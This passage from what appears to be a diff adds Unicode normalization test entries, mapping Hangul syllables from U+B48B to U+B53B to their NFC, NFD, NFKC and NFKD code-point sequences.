+{ source: [0xB48B], NFC: [0xB48B], NFD: [0x1103, 0x1170, 0x11AA], NFKC: [0xB48B], NFKD: [0x1103, 0x1170, 0x11AA] },
+{ source: [0xB48C], NFC: [0xB48C], NFD: [0x1103, 0x1170, 0x11AB], NFKC: [0xB48C], NFKD: [0x1103, 0x1170, 0x11AB] },
+{ source: [0xB48D], NFC: [0xB48D], NFD: [0x1103, 0x1170, 0x11AC], NFKC: [0xB48D], NFKD: [0x1103, 0x1170, 0x11AC] },
+{ source: [0xB48E], NFC: [0xB48E], NFD: [0x1103, 0x1170, 0x11AD], NFKC: [0xB48E], NFKD: [0x1103, 0x1170, 0x11AD] },
+{ source: [0xB48F], NFC: [0xB48F], NFD: [0x1103, 0x1170, 0x11AE], NFKC: [0xB48F], NFKD: [0x1103, 0x1170, 0x11AE] },
+{ source: [0xB490], NFC: [0xB490], NFD: [0x1103, 0x1170, 0x11AF], NFKC: [0xB490], NFKD: [0x1103, 0x1170, 0x11AF] },
+{ source: [0xB491], NFC: [0xB491], NFD: [0x1103, 0x1170, 0x11B0], NFKC: [0xB491], NFKD: [0x1103, 0x1170, 0x11B0] },
+{ source: [0xB492], NFC: [0xB492], NFD: [0x1103, 0x1170, 0x11B1], NFKC: [0xB492], NFKD: [0x1103, 0x1170, 0x11B1] },
+{ source: [0xB493], NFC: [0xB493], NFD: [0x1103, 0x1170, 0x11B2], NFKC: [0xB493], NFKD: [0x1103, 0x1170, 0x11B2] },
+{ source: [0xB494], NFC: [0xB494], NFD: [0x1103, 0x1170, 0x11B3], NFKC: [0xB494], NFKD: [0x1103, 0x1170, 0x11B3] },
+{ source: [0xB495], NFC: [0xB495], NFD: [0x1103, 0x1170, 0x11B4], NFKC: [0xB495], NFKD: [0x1103, 0x1170, 0x11B4] },
+{ source: [0xB496], NFC: [0xB496], NFD: [0x1103, 0x1170, 0x11B5], NFKC: [0xB496], NFKD: [0x1103, 0x1170, 0x11B5] },
+{ source: [0xB497], NFC: [0xB497], NFD: [0x1103, 0x1170, 0x11B6], NFKC: [0xB497], NFKD: [0x1103, 0x1170, 0x11B6] },
+{ source: [0xB498], NFC: [0xB498], NFD: [0x1103, 0x1170, 0x11B7], NFKC: [0xB498], NFKD: [0x1103, 0x1170, 0x11B7] },
+{ source: [0xB499], NFC: [0xB499], NFD: [0x1103, 0x1170, 0x11B8], NFKC: [0xB499], NFKD: [0x1103, 0x1170, 0x11B8] },
+{ source: [0xB49A], NFC: [0xB49A], NFD: [0x1103, 0x1170, 0x11B9], NFKC: [0xB49A], NFKD: [0x1103, 0x1170, 0x11B9] },
+{ source: [0xB49B], NFC: [0xB49B], NFD: [0x1103, 0x1170, 0x11BA], NFKC: [0xB49B], NFKD: [0x1103, 0x1170, 0x11BA] },
+{ source: [0xB49C], NFC: [0xB49C], NFD: [0x1103, 0x1170, 0x11BB], NFKC: [0xB49C], NFKD: [0x1103, 0x1170, 0x11BB] },
+{ source: [0xB49D], NFC: [0xB49D], NFD: [0x1103, 0x1170, 0x11BC], NFKC: [0xB49D], NFKD: [0x1103, 0x1170, 0x11BC] },
+{ source: [0xB49E], NFC: [0xB49E], NFD: [0x1103, 0x1170, 0x11BD], NFKC: [0xB49E], NFKD: [0x1103, 0x1170, 0x11BD] },
+{ source: [0xB49F], NFC: [0xB49F], NFD: [0x1103, 0x1170, 0x11BE], NFKC: [0xB49F], NFKD: [0x1103, 0x1170, 0x11BE] },
+{ source: [0xB4A0], NFC: [0xB4A0], NFD: [0x1103, 0x1170, 0x11BF], NFKC: [0xB4A0], NFKD: [0x1103, 0x1170, 0x11BF] },
+{ source: [0xB4A1], NFC: [0xB4A1], NFD: [0x1103, 0x1170, 0x11C0], NFKC: [0xB4A1], NFKD: [0x1103, 0x1170, 0x11C0] },
+{ source: [0xB4A2], NFC: [0xB4A2], NFD: [0x1103, 0x1170, 0x11C1], NFKC: [0xB4A2], NFKD: [0x1103, 0x1170, 0x11C1] },
+{ source: [0xB4A3], NFC: [0xB4A3], NFD: [0x1103, 0x1170, 0x11C2], NFKC: [0xB4A3], NFKD: [0x1103, 0x1170, 0x11C2] },
+{ source: [0xB4A4], NFC: [0xB4A4], NFD: [0x1103, 0x1171], NFKC: [0xB4A4], NFKD: [0x1103, 0x1171] },
+{ source: [0xB4A5], NFC: [0xB4A5], NFD: [0x1103, 0x1171, 0x11A8], NFKC: [0xB4A5], NFKD: [0x1103, 0x1171, 0x11A8] },
+{ source: [0xB4A6], NFC: [0xB4A6], NFD: [0x1103, 0x1171, 0x11A9], NFKC: [0xB4A6], NFKD: [0x1103, 0x1171, 0x11A9] },
+{ source: [0xB4A7], NFC: [0xB4A7], NFD: [0x1103, 0x1171, 0x11AA], NFKC: [0xB4A7], NFKD: [0x1103, 0x1171, 0x11AA] },
+{ source: [0xB4A8], NFC: [0xB4A8], NFD: [0x1103, 0x1171, 0x11AB], NFKC: [0xB4A8], NFKD: [0x1103, 0x1171, 0x11AB] },
+{ source: [0xB4A9], NFC: [0xB4A9], NFD: [0x1103, 0x1171, 0x11AC], NFKC: [0xB4A9], NFKD: [0x1103, 0x1171, 0x11AC] },
+{ source: [0xB4AA], NFC: [0xB4AA], NFD: [0x1103, 0x1171, 0x11AD], NFKC: [0xB4AA], NFKD: [0x1103, 0x1171, 0x11AD] },
+{ source: [0xB4AB], NFC: [0xB4AB], NFD: [0x1103, 0x1171, 0x11AE], NFKC: [0xB4AB], NFKD: [0x1103, 0x1171, 0x11AE] },
+{ source: [0xB4AC], NFC: [0xB4AC], NFD: [0x1103, 0x1171, 0x11AF], NFKC: [0xB4AC], NFKD: [0x1103, 0x1171, 0x11AF] },
+{ source: [0xB4AD], NFC: [0xB4AD], NFD: [0x1103, 0x1171, 0x11B0], NFKC: [0xB4AD], NFKD: [0x1103, 0x1171, 0x11B0] },
+{ source: [0xB4AE], NFC: [0xB4AE], NFD: [0x1103, 0x1171, 0x11B1], NFKC: [0xB4AE], NFKD: [0x1103, 0x1171, 0x11B1] },
+{ source: [0xB4AF], NFC: [0xB4AF], NFD: [0x1103, 0x1171, 0x11B2], NFKC: [0xB4AF], NFKD: [0x1103, 0x1171, 0x11B2] },
+{ source: [0xB4B0], NFC: [0xB4B0], NFD: [0x1103, 0x1171, 0x11B3], NFKC: [0xB4B0], NFKD: [0x1103, 0x1171, 0x11B3] },
+{ source: [0xB4B1], NFC: [0xB4B1], NFD: [0x1103, 0x1171, 0x11B4], NFKC: [0xB4B1], NFKD: [0x1103, 0x1171, 0x11B4] },
+{ source: [0xB4B2], NFC: [0xB4B2], NFD: [0x1103, 0x1171, 0x11B5], NFKC: [0xB4B2], NFKD: [0x1103, 0x1171, 0x11B5] },
+{ source: [0xB4B3], NFC: [0xB4B3], NFD: [0x1103, 0x1171, 0x11B6], NFKC: [0xB4B3], NFKD: [0x1103, 0x1171, 0x11B6] },
+{ source: [0xB4B4], NFC: [0xB4B4], NFD: [0x1103, 0x1171, 0x11B7], NFKC: [0xB4B4], NFKD: [0x1103, 0x1171, 0x11B7] },
+{ source: [0xB4B5], NFC: [0xB4B5], NFD: [0x1103, 0x1171, 0x11B8], NFKC: [0xB4B5], NFKD: [0x1103, 0x1171, 0x11B8] },
+{ source: [0xB4B6], NFC: [0xB4B6], NFD: [0x1103, 0x1171, 0x11B9], NFKC: [0xB4B6], NFKD: [0x1103, 0x1171, 0x11B9] },
+{ source: [0xB4B7], NFC: [0xB4B7], NFD: [0x1103, 0x1171, 0x11BA], NFKC: [0xB4B7], NFKD: [0x1103, 0x1171, 0x11BA] },
+{ source: [0xB4B8], NFC: [0xB4B8], NFD: [0x1103, 0x1171, 0x11BB], NFKC: [0xB4B8], NFKD: [0x1103, 0x1171, 0x11BB] },
+{ source: [0xB4B9], NFC: [0xB4B9], NFD: [0x1103, 0x1171, 0x11BC], NFKC: [0xB4B9], NFKD: [0x1103, 0x1171, 0x11BC] },
+{ source: [0xB4BA], NFC: [0xB4BA], NFD: [0x1103, 0x1171, 0x11BD], NFKC: [0xB4BA], NFKD: [0x1103, 0x1171, 0x11BD] },
+{ source: [0xB4BB], NFC: [0xB4BB], NFD: [0x1103, 0x1171, 0x11BE], NFKC: [0xB4BB], NFKD: [0x1103, 0x1171, 0x11BE] },
+{ source: [0xB4BC], NFC: [0xB4BC], NFD: [0x1103, 0x1171, 0x11BF], NFKC: [0xB4BC], NFKD: [0x1103, 0x1171, 0x11BF] },
+{ source: [0xB4BD], NFC: [0xB4BD], NFD: [0x1103, 0x1171, 0x11C0], NFKC: [0xB4BD], NFKD: [0x1103, 0x1171, 0x11C0] },
+{ source: [0xB4BE], NFC: [0xB4BE], NFD: [0x1103, 0x1171, 0x11C1], NFKC: [0xB4BE], NFKD: [0x1103, 0x1171, 0x11C1] },
+{ source: [0xB4BF], NFC: [0xB4BF], NFD: [0x1103, 0x1171, 0x11C2], NFKC: [0xB4BF], NFKD: [0x1103, 0x1171, 0x11C2] },
+{ source: [0xB4C0], NFC: [0xB4C0], NFD: [0x1103, 0x1172], NFKC: [0xB4C0], NFKD: [0x1103, 0x1172] },
+{ source: [0xB4C1], NFC: [0xB4C1], NFD: [0x1103, 0x1172, 0x11A8], NFKC: [0xB4C1], NFKD: [0x1103, 0x1172, 0x11A8] },
+{ source: [0xB4C2], NFC: [0xB4C2], NFD: [0x1103, 0x1172, 0x11A9], NFKC: [0xB4C2], NFKD: [0x1103, 0x1172, 0x11A9] },
+{ source: [0xB4C3], NFC: [0xB4C3], NFD: [0x1103, 0x1172, 0x11AA], NFKC: [0xB4C3], NFKD: [0x1103, 0x1172, 0x11AA] },
+{ source: [0xB4C4], NFC: [0xB4C4], NFD: [0x1103, 0x1172, 0x11AB], NFKC: [0xB4C4], NFKD: [0x1103, 0x1172, 0x11AB] },
+{ source: [0xB4C5], NFC: [0xB4C5], NFD: [0x1103, 0x1172, 0x11AC], NFKC: [0xB4C5], NFKD: [0x1103, 0x1172, 0x11AC] },
+{ source: [0xB4C6], NFC: [0xB4C6], NFD: [0x1103, 0x1172, 0x11AD], NFKC: [0xB4C6], NFKD: [0x1103, 0x1172, 0x11AD] },
+{ source: [0xB4C7], NFC: [0xB4C7], NFD: [0x1103, 0x1172, 0x11AE], NFKC: [0xB4C7], NFKD: [0x1103, 0x1172, 0x11AE] },
+{ source: [0xB4C8], NFC: [0xB4C8], NFD: [0x1103, 0x1172, 0x11AF], NFKC: [0xB4C8], NFKD: [0x1103, 0x1172, 0x11AF] },
+{ source: [0xB4C9], NFC: [0xB4C9], NFD: [0x1103, 0x1172, 0x11B0], NFKC: [0xB4C9], NFKD: [0x1103, 0x1172, 0x11B0] },
+{ source: [0xB4CA], NFC: [0xB4CA], NFD: [0x1103, 0x1172, 0x11B1], NFKC: [0xB4CA], NFKD: [0x1103, 0x1172, 0x11B1] },
+{ source: [0xB4CB], NFC: [0xB4CB], NFD: [0x1103, 0x1172, 0x11B2], NFKC: [0xB4CB], NFKD: [0x1103, 0x1172, 0x11B2] },
+{ source: [0xB4CC], NFC: [0xB4CC], NFD: [0x1103, 0x1172, 0x11B3], NFKC: [0xB4CC], NFKD: [0x1103, 0x1172, 0x11B3] },
+{ source: [0xB4CD], NFC: [0xB4CD], NFD: [0x1103, 0x1172, 0x11B4], NFKC: [0xB4CD], NFKD: [0x1103, 0x1172, 0x11B4] },
+{ source: [0xB4CE], NFC: [0xB4CE], NFD: [0x1103, 0x1172, 0x11B5], NFKC: [0xB4CE], NFKD: [0x1103, 0x1172, 0x11B5] },
+{ source: [0xB4CF], NFC: [0xB4CF], NFD: [0x1103, 0x1172, 0x11B6], NFKC: [0xB4CF], NFKD: [0x1103, 0x1172, 0x11B6] },
+{ source: [0xB4D0], NFC: [0xB4D0], NFD: [0x1103, 0x1172, 0x11B7], NFKC: [0xB4D0], NFKD: [0x1103, 0x1172, 0x11B7] },
+{ source: [0xB4D1], NFC: [0xB4D1], NFD: [0x1103, 0x1172, 0x11B8], NFKC: [0xB4D1], NFKD: [0x1103, 0x1172, 0x11B8] },
+{ source: [0xB4D2], NFC: [0xB4D2], NFD: [0x1103, 0x1172, 0x11B9], NFKC: [0xB4D2], NFKD: [0x1103, 0x1172, 0x11B9] },
+{ source: [0xB4D3], NFC: [0xB4D3], NFD: [0x1103, 0x1172, 0x11BA], NFKC: [0xB4D3], NFKD: [0x1103, 0x1172, 0x11BA] },
+{ source: [0xB4D4], NFC: [0xB4D4], NFD: [0x1103, 0x1172, 0x11BB], NFKC: [0xB4D4], NFKD: [0x1103, 0x1172, 0x11BB] },
+{ source: [0xB4D5], NFC: [0xB4D5], NFD: [0x1103, 0x1172, 0x11BC], NFKC: [0xB4D5], NFKD: [0x1103, 0x1172, 0x11BC] },
+{ source: [0xB4D6], NFC: [0xB4D6], NFD: [0x1103, 0x1172, 0x11BD], NFKC: [0xB4D6], NFKD: [0x1103, 0x1172, 0x11BD] },
+{ source: [0xB4D7], NFC: [0xB4D7], NFD: [0x1103, 0x1172, 0x11BE], NFKC: [0xB4D7], NFKD: [0x1103, 0x1172, 0x11BE] },
+{ source: [0xB4D8], NFC: [0xB4D8], NFD: [0x1103, 0x1172, 0x11BF], NFKC: [0xB4D8], NFKD: [0x1103, 0x1172, 0x11BF] },
+{ source: [0xB4D9], NFC: [0xB4D9], NFD: [0x1103, 0x1172, 0x11C0], NFKC: [0xB4D9], NFKD: [0x1103, 0x1172, 0x11C0] },
+{ source: [0xB4DA], NFC: [0xB4DA], NFD: [0x1103, 0x1172, 0x11C1], NFKC: [0xB4DA], NFKD: [0x1103, 0x1172, 0x11C1] },
+{ source: [0xB4DB], NFC: [0xB4DB], NFD: [0x1103, 0x1172, 0x11C2], NFKC: [0xB4DB], NFKD: [0x1103, 0x1172, 0x11C2] },
+{ source: [0xB4DC], NFC: [0xB4DC], NFD: [0x1103, 0x1173], NFKC: [0xB4DC], NFKD: [0x1103, 0x1173] },
+{ source: [0xB4DD], NFC: [0xB4DD], NFD: [0x1103, 0x1173, 0x11A8], NFKC: [0xB4DD], NFKD: [0x1103, 0x1173, 0x11A8] },
+{ source: [0xB4DE], NFC: [0xB4DE], NFD: [0x1103, 0x1173, 0x11A9], NFKC: [0xB4DE], NFKD: [0x1103, 0x1173, 0x11A9] },
+{ source: [0xB4DF], NFC: [0xB4DF], NFD: [0x1103, 0x1173, 0x11AA], NFKC: [0xB4DF], NFKD: [0x1103, 0x1173, 0x11AA] },
+{ source: [0xB4E0], NFC: [0xB4E0], NFD: [0x1103, 0x1173, 0x11AB], NFKC: [0xB4E0], NFKD: [0x1103, 0x1173, 0x11AB] },
+{ source: [0xB4E1], NFC: [0xB4E1], NFD: [0x1103, 0x1173, 0x11AC], NFKC: [0xB4E1], NFKD: [0x1103, 0x1173, 0x11AC] },
+{ source: [0xB4E2], NFC: [0xB4E2], NFD: [0x1103, 0x1173, 0x11AD], NFKC: [0xB4E2], NFKD: [0x1103, 0x1173, 0x11AD] },
+{ source: [0xB4E3], NFC: [0xB4E3], NFD: [0x1103, 0x1173, 0x11AE], NFKC: [0xB4E3], NFKD: [0x1103, 0x1173, 0x11AE] },
+{ source: [0xB4E4], NFC: [0xB4E4], NFD: [0x1103, 0x1173, 0x11AF], NFKC: [0xB4E4], NFKD: [0x1103, 0x1173, 0x11AF] },
+{ source: [0xB4E5], NFC: [0xB4E5], NFD: [0x1103, 0x1173, 0x11B0], NFKC: [0xB4E5], NFKD: [0x1103, 0x1173, 0x11B0] },
+{ source: [0xB4E6], NFC: [0xB4E6], NFD: [0x1103, 0x1173, 0x11B1], NFKC: [0xB4E6], NFKD: [0x1103, 0x1173, 0x11B1] },
+{ source: [0xB4E7], NFC: [0xB4E7], NFD: [0x1103, 0x1173, 0x11B2], NFKC: [0xB4E7], NFKD: [0x1103, 0x1173, 0x11B2] },
+{ source: [0xB4E8], NFC: [0xB4E8], NFD: [0x1103, 0x1173, 0x11B3], NFKC: [0xB4E8], NFKD: [0x1103, 0x1173, 0x11B3] },
+{ source: [0xB4E9], NFC: [0xB4E9], NFD: [0x1103, 0x1173, 0x11B4], NFKC: [0xB4E9], NFKD: [0x1103, 0x1173, 0x11B4] },
+{ source: [0xB4EA], NFC: [0xB4EA], NFD: [0x1103, 0x1173, 0x11B5], NFKC: [0xB4EA], NFKD: [0x1103, 0x1173, 0x11B5] },
+{ source: [0xB4EB], NFC: [0xB4EB], NFD: [0x1103, 0x1173, 0x11B6], NFKC: [0xB4EB], NFKD: [0x1103, 0x1173, 0x11B6] },
+{ source: [0xB4EC], NFC: [0xB4EC], NFD: [0x1103, 0x1173, 0x11B7], NFKC: [0xB4EC], NFKD: [0x1103, 0x1173, 0x11B7] },
+{ source: [0xB4ED], NFC: [0xB4ED], NFD: [0x1103, 0x1173, 0x11B8], NFKC: [0xB4ED], NFKD: [0x1103, 0x1173, 0x11B8] },
+{ source: [0xB4EE], NFC: [0xB4EE], NFD: [0x1103, 0x1173, 0x11B9], NFKC: [0xB4EE], NFKD: [0x1103, 0x1173, 0x11B9] },
+{ source: [0xB4EF], NFC: [0xB4EF], NFD: [0x1103, 0x1173, 0x11BA], NFKC: [0xB4EF], NFKD: [0x1103, 0x1173, 0x11BA] },
+{ source: [0xB4F0], NFC: [0xB4F0], NFD: [0x1103, 0x1173, 0x11BB], NFKC: [0xB4F0], NFKD: [0x1103, 0x1173, 0x11BB] },
+{ source: [0xB4F1], NFC: [0xB4F1], NFD: [0x1103, 0x1173, 0x11BC], NFKC: [0xB4F1], NFKD: [0x1103, 0x1173, 0x11BC] },
+{ source: [0xB4F2], NFC: [0xB4F2], NFD: [0x1103, 0x1173, 0x11BD], NFKC: [0xB4F2], NFKD: [0x1103, 0x1173, 0x11BD] },
+{ source: [0xB4F3], NFC: [0xB4F3], NFD: [0x1103, 0x1173, 0x11BE], NFKC: [0xB4F3], NFKD: [0x1103, 0x1173, 0x11BE] },
+{ source: [0xB4F4], NFC: [0xB4F4], NFD: [0x1103, 0x1173, 0x11BF], NFKC: [0xB4F4], NFKD: [0x1103, 0x1173, 0x11BF] },
+{ source: [0xB4F5], NFC: [0xB4F5], NFD: [0x1103, 0x1173, 0x11C0], NFKC: [0xB4F5], NFKD: [0x1103, 0x1173, 0x11C0] },
+{ source: [0xB4F6], NFC: [0xB4F6], NFD: [0x1103, 0x1173, 0x11C1], NFKC: [0xB4F6], NFKD: [0x1103, 0x1173, 0x11C1] },
+{ source: [0xB4F7], NFC: [0xB4F7], NFD: [0x1103, 0x1173, 0x11C2], NFKC: [0xB4F7], NFKD: [0x1103, 0x1173, 0x11C2] },
+{ source: [0xB4F8], NFC: [0xB4F8], NFD: [0x1103, 0x1174], NFKC: [0xB4F8], NFKD: [0x1103, 0x1174] },
+{ source: [0xB4F9], NFC: [0xB4F9], NFD: [0x1103, 0x1174, 0x11A8], NFKC: [0xB4F9], NFKD: [0x1103, 0x1174, 0x11A8] },
+{ source: [0xB4FA], NFC: [0xB4FA], NFD: [0x1103, 0x1174, 0x11A9], NFKC: [0xB4FA], NFKD: [0x1103, 0x1174, 0x11A9] },
+{ source: [0xB4FB], NFC: [0xB4FB], NFD: [0x1103, 0x1174, 0x11AA], NFKC: [0xB4FB], NFKD: [0x1103, 0x1174, 0x11AA] },
+{ source: [0xB4FC], NFC: [0xB4FC], NFD: [0x1103, 0x1174, 0x11AB], NFKC: [0xB4FC], NFKD: [0x1103, 0x1174, 0x11AB] },
+{ source: [0xB4FD], NFC: [0xB4FD], NFD: [0x1103, 0x1174, 0x11AC], NFKC: [0xB4FD], NFKD: [0x1103, 0x1174, 0x11AC] },
+{ source: [0xB4FE], NFC: [0xB4FE], NFD: [0x1103, 0x1174, 0x11AD], NFKC: [0xB4FE], NFKD: [0x1103, 0x1174, 0x11AD] },
+{ source: [0xB4FF], NFC: [0xB4FF], NFD: [0x1103, 0x1174, 0x11AE], NFKC: [0xB4FF], NFKD: [0x1103, 0x1174, 0x11AE] },
+{ source: [0xB500], NFC: [0xB500], NFD: [0x1103, 0x1174, 0x11AF], NFKC: [0xB500], NFKD: [0x1103, 0x1174, 0x11AF] },
+{ source: [0xB501], NFC: [0xB501], NFD: [0x1103, 0x1174, 0x11B0], NFKC: [0xB501], NFKD: [0x1103, 0x1174, 0x11B0] },
+{ source: [0xB502], NFC: [0xB502], NFD: [0x1103, 0x1174, 0x11B1], NFKC: [0xB502], NFKD: [0x1103, 0x1174, 0x11B1] },
+{ source: [0xB503], NFC: [0xB503], NFD: [0x1103, 0x1174, 0x11B2], NFKC: [0xB503], NFKD: [0x1103, 0x1174, 0x11B2] },
+{ source: [0xB504], NFC: [0xB504], NFD: [0x1103, 0x1174, 0x11B3], NFKC: [0xB504], NFKD: [0x1103, 0x1174, 0x11B3] },
+{ source: [0xB505], NFC: [0xB505], NFD: [0x1103, 0x1174, 0x11B4], NFKC: [0xB505], NFKD: [0x1103, 0x1174, 0x11B4] },
+{ source: [0xB506], NFC: [0xB506], NFD: [0x1103, 0x1174, 0x11B5], NFKC: [0xB506], NFKD: [0x1103, 0x1174, 0x11B5] },
+{ source: [0xB507], NFC: [0xB507], NFD: [0x1103, 0x1174, 0x11B6], NFKC: [0xB507], NFKD: [0x1103, 0x1174, 0x11B6] },
+{ source: [0xB508], NFC: [0xB508], NFD: [0x1103, 0x1174, 0x11B7], NFKC: [0xB508], NFKD: [0x1103, 0x1174, 0x11B7] },
+{ source: [0xB509], NFC: [0xB509], NFD: [0x1103, 0x1174, 0x11B8], NFKC: [0xB509], NFKD: [0x1103, 0x1174, 0x11B8] },
+{ source: [0xB50A], NFC: [0xB50A], NFD: [0x1103, 0x1174, 0x11B9], NFKC: [0xB50A], NFKD: [0x1103, 0x1174, 0x11B9] },
+{ source: [0xB50B], NFC: [0xB50B], NFD: [0x1103, 0x1174, 0x11BA], NFKC: [0xB50B], NFKD: [0x1103, 0x1174, 0x11BA] },
+{ source: [0xB50C], NFC: [0xB50C], NFD: [0x1103, 0x1174, 0x11BB], NFKC: [0xB50C], NFKD: [0x1103, 0x1174, 0x11BB] },
+{ source: [0xB50D], NFC: [0xB50D], NFD: [0x1103, 0x1174, 0x11BC], NFKC: [0xB50D], NFKD: [0x1103, 0x1174, 0x11BC] },
+{ source: [0xB50E], NFC: [0xB50E], NFD: [0x1103, 0x1174, 0x11BD], NFKC: [0xB50E], NFKD: [0x1103, 0x1174, 0x11BD] },
+{ source: [0xB50F], NFC: [0xB50F], NFD: [0x1103, 0x1174, 0x11BE], NFKC: [0xB50F], NFKD: [0x1103, 0x1174, 0x11BE] },
+{ source: [0xB510], NFC: [0xB510], NFD: [0x1103, 0x1174, 0x11BF], NFKC: [0xB510], NFKD: [0x1103, 0x1174, 0x11BF] },
+{ source: [0xB511], NFC: [0xB511], NFD: [0x1103, 0x1174, 0x11C0], NFKC: [0xB511], NFKD: [0x1103, 0x1174, 0x11C0] },
+{ source: [0xB512], NFC: [0xB512], NFD: [0x1103, 0x1174, 0x11C1], NFKC: [0xB512], NFKD: [0x1103, 0x1174, 0x11C1] },
+{ source: [0xB513], NFC: [0xB513], NFD: [0x1103, 0x1174, 0x11C2], NFKC: [0xB513], NFKD: [0x1103, 0x1174, 0x11C2] },
+{ source: [0xB514], NFC: [0xB514], NFD: [0x1103, 0x1175], NFKC: [0xB514], NFKD: [0x1103, 0x1175] },
+{ source: [0xB515], NFC: [0xB515], NFD: [0x1103, 0x1175, 0x11A8], NFKC: [0xB515], NFKD: [0x1103, 0x1175, 0x11A8] },
+{ source: [0xB516], NFC: [0xB516], NFD: [0x1103, 0x1175, 0x11A9], NFKC: [0xB516], NFKD: [0x1103, 0x1175, 0x11A9] },
+{ source: [0xB517], NFC: [0xB517], NFD: [0x1103, 0x1175, 0x11AA], NFKC: [0xB517], NFKD: [0x1103, 0x1175, 0x11AA] },
+{ source: [0xB518], NFC: [0xB518], NFD: [0x1103, 0x1175, 0x11AB], NFKC: [0xB518], NFKD: [0x1103, 0x1175, 0x11AB] },
+{ source: [0xB519], NFC: [0xB519], NFD: [0x1103, 0x1175, 0x11AC], NFKC: [0xB519], NFKD: [0x1103, 0x1175, 0x11AC] },
+{ source: [0xB51A], NFC: [0xB51A], NFD: [0x1103, 0x1175, 0x11AD], NFKC: [0xB51A], NFKD: [0x1103, 0x1175, 0x11AD] },
+{ source: [0xB51B], NFC: [0xB51B], NFD: [0x1103, 0x1175, 0x11AE], NFKC: [0xB51B], NFKD: [0x1103, 0x1175, 0x11AE] },
+{ source: [0xB51C], NFC: [0xB51C], NFD: [0x1103, 0x1175, 0x11AF], NFKC: [0xB51C], NFKD: [0x1103, 0x1175, 0x11AF] },
+{ source: [0xB51D], NFC: [0xB51D], NFD: [0x1103, 0x1175, 0x11B0], NFKC: [0xB51D], NFKD: [0x1103, 0x1175, 0x11B0] },
+{ source: [0xB51E], NFC: [0xB51E], NFD: [0x1103, 0x1175, 0x11B1], NFKC: [0xB51E], NFKD: [0x1103, 0x1175, 0x11B1] },
+{ source: [0xB51F], NFC: [0xB51F], NFD: [0x1103, 0x1175, 0x11B2], NFKC: [0xB51F], NFKD: [0x1103, 0x1175, 0x11B2] },
+{ source: [0xB520], NFC: [0xB520], NFD: [0x1103, 0x1175, 0x11B3], NFKC: [0xB520], NFKD: [0x1103, 0x1175, 0x11B3] },
+{ source: [0xB521], NFC: [0xB521], NFD: [0x1103, 0x1175, 0x11B4], NFKC: [0xB521], NFKD: [0x1103, 0x1175, 0x11B4] },
+{ source: [0xB522], NFC: [0xB522], NFD: [0x1103, 0x1175, 0x11B5], NFKC: [0xB522], NFKD: [0x1103, 0x1175, 0x11B5] },
+{ source: [0xB523], NFC: [0xB523], NFD: [0x1103, 0x1175, 0x11B6], NFKC: [0xB523], NFKD: [0x1103, 0x1175, 0x11B6] },
+{ source: [0xB524], NFC: [0xB524], NFD: [0x1103, 0x1175, 0x11B7], NFKC: [0xB524], NFKD: [0x1103, 0x1175, 0x11B7] },
+{ source: [0xB525], NFC: [0xB525], NFD: [0x1103, 0x1175, 0x11B8], NFKC: [0xB525], NFKD: [0x1103, 0x1175, 0x11B8] },
+{ source: [0xB526], NFC: [0xB526], NFD: [0x1103, 0x1175, 0x11B9], NFKC: [0xB526], NFKD: [0x1103, 0x1175, 0x11B9] },
+{ source: [0xB527], NFC: [0xB527], NFD: [0x1103, 0x1175, 0x11BA], NFKC: [0xB527], NFKD: [0x1103, 0x1175, 0x11BA] },
+{ source: [0xB528], NFC: [0xB528], NFD: [0x1103, 0x1175, 0x11BB], NFKC: [0xB528], NFKD: [0x1103, 0x1175, 0x11BB] },
+{ source: [0xB529], NFC: [0xB529], NFD: [0x1103, 0x1175, 0x11BC], NFKC: [0xB529], NFKD: [0x1103, 0x1175, 0x11BC] },
+{ source: [0xB52A], NFC: [0xB52A], NFD: [0x1103, 0x1175, 0x11BD], NFKC: [0xB52A], NFKD: [0x1103, 0x1175, 0x11BD] },
+{ source: [0xB52B], NFC: [0xB52B], NFD: [0x1103, 0x1175, 0x11BE], NFKC: [0xB52B], NFKD: [0x1103, 0x1175, 0x11BE] },
+{ source: [0xB52C], NFC: [0xB52C], NFD: [0x1103, 0x1175, 0x11BF], NFKC: [0xB52C], NFKD: [0x1103, 0x1175, 0x11BF] },
+{ source: [0xB52D], NFC: [0xB52D], NFD: [0x1103, 0x1175, 0x11C0], NFKC: [0xB52D], NFKD: [0x1103, 0x1175, 0x11C0] },
+{ source: [0xB52E], NFC: [0xB52E], NFD: [0x1103, 0x1175, 0x11C1], NFKC: [0xB52E], NFKD: [0x1103, 0x1175, 0x11C1] },
+{ source: [0xB52F], NFC: [0xB52F], NFD: [0x1103, 0x1175, 0x11C2], NFKC: [0xB52F], NFKD: [0x1103, 0x1175, 0x11C2] },
+{ source: [0xB530], NFC: [0xB530], NFD: [0x1104, 0x1161], NFKC: [0xB530], NFKD: [0x1104, 0x1161] },
+{ source: [0xB531], NFC: [0xB531], NFD: [0x1104, 0x1161, 0x11A8], NFKC: [0xB531], NFKD: [0x1104, 0x1161, 0x11A8] },
+{ source: [0xB532], NFC: [0xB532], NFD: [0x1104, 0x1161, 0x11A9], NFKC: [0xB532], NFKD: [0x1104, 0x1161, 0x11A9] },
+{ source: [0xB533], NFC: [0xB533], NFD: [0x1104, 0x1161, 0x11AA], NFKC: [0xB533], NFKD: [0x1104, 0x1161, 0x11AA] },
+{ source: [0xB534], NFC: [0xB534], NFD: [0x1104, 0x1161, 0x11AB], NFKC: [0xB534], NFKD: [0x1104, 0x1161, 0x11AB] },
+{ source: [0xB535], NFC: [0xB535], NFD: [0x1104, 0x1161, 0x11AC], NFKC: [0xB535], NFKD: [0x1104, 0x1161, 0x11AC] },
+{ source: [0xB536], NFC: [0xB536], NFD: [0x1104, 0x1161, 0x11AD], NFKC: [0xB536], NFKD: [0x1104, 0x1161, 0x11AD] },
+{ source: [0xB537], NFC: [0xB537], NFD: [0x1104, 0x1161, 0x11AE], NFKC: [0xB537], NFKD: [0x1104, 0x1161, 0x11AE] },
+{ source: [0xB538], NFC: [0xB538], NFD: [0x1104, 0x1161, 0x11AF], NFKC: [0xB538], NFKD: [0x1104, 0x1161, 0x11AF] },
+{ source: [0xB539], NFC: [0xB539], NFD: [0x1104, 0x1161, 0x11B0], NFKC: [0xB539], NFKD: [0x1104, 0x1161, 0x11B0] },
+{ source: [0xB53A], NFC: [0xB53A], NFD: [0x1104, 0x1161, 0x11B1], NFKC: [0xB53A], NFKD: [0x1104, 0x1161, 0x11B1] },
+{ source: [0xB53B], NFC: [0xB53B], NFD: [0x1104, 0x1161, 0x11B2], NFKC: [0xB53B], NFKD: [0x1104, 0x1161, 0x11B2] },
